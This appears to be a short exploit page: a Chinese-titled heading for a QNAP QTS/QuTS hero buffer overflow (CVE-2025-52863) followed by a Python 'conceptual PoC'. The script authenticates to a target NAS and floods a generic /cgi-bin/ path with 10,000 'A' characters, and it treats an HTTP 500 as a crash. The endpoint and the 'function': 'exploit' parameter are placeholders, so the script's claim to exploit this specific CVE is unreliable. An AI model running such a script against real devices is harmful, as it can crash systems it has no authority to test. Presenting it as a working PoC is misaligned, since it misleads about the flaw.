QNAP QTS/QuTS hero 缓冲区溢出漏洞 (CVE-2025-52863)

#!/usr/bin/env python3 """ CVE-2025-52863 - QNAP Buffer Overflow PoC Note: This is a conceptual PoC for educational purposes only. Do not use against systems without authorization. """ import requests import sys def exploit_qnap(target_ip, username, password, target_port=8080): """ Conceptual exploit for CVE-2025-52863 Requires valid user credentials for exploitation """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] CVE-2025-52863 Buffer Overflow PoC") # Authentication login_url = f"http://{target_ip}:{target_port}/cgi-bin/authLogin.cgi" auth_data = { "username": username, "password": password } try: session = requests.Session() resp = session.post(login_url, data=auth_data, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Buffer overflow payload generation # Attacker-controlled input that exceeds buffer boundaries overflow_payload = "A" * 10000 # Large payload to trigger overflow # Target vulnerable endpoint exploit_url = f"http://{target_ip}:{target_port}/cgi-bin/" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } exploit_data = { "function": "exploit", "buffer": overflow_payload } print("[*] Sending overflow payload...") response = session.post(exploit_url, data=exploit_data, headers=headers, timeout=30) if response.status_code == 500 or response.status_code == 0: print("[+] Possible buffer overflow triggered - process crash detected") return True else: print("[-] No obvious overflow response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_qnap(target, user, pwd)